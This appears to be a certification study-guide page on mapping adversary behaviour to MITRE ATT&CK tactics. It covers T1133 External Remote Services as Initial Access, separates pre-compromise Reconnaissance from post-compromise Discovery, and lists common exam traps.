What this domain covers

What to know about Adversarial Tactics

You must map observed adversary behavior to the correct MITRE ATT&CK tactic and technique ID. The single most important thing is correctly separating pre-compromise Reconnaissance from post-compromise Discovery, and recognizing T1133 External Remote Services as Initial Access.

Mapping attacker behaviors to MITRE ATT&CK tactics such as Initial Access, Discovery, and Execution

Identifying T1133 External Remote Services use via VPN, RDP, or exposed remote access portals

Recognizing Discovery techniques including account, network, and system information enumeration

Distinguishing reconnaissance versus Discovery based on whether activity occurs pre- or post-compromise

Watch out for

Common Adversarial Tactics exam traps

  • ▸Confusing Reconnaissance with Discovery: Reconnaissance is pre-compromise external scanning, while Discovery happens after the adversary already has a foothold.
  • ▸Treating any remote login as Initial Access when legitimate credentials via T1133 External Remote Services still qualify as that tactic.
  • ▸Assuming Discovery requires malware; native OS commands and built-in utilities also count as Discovery techniques.
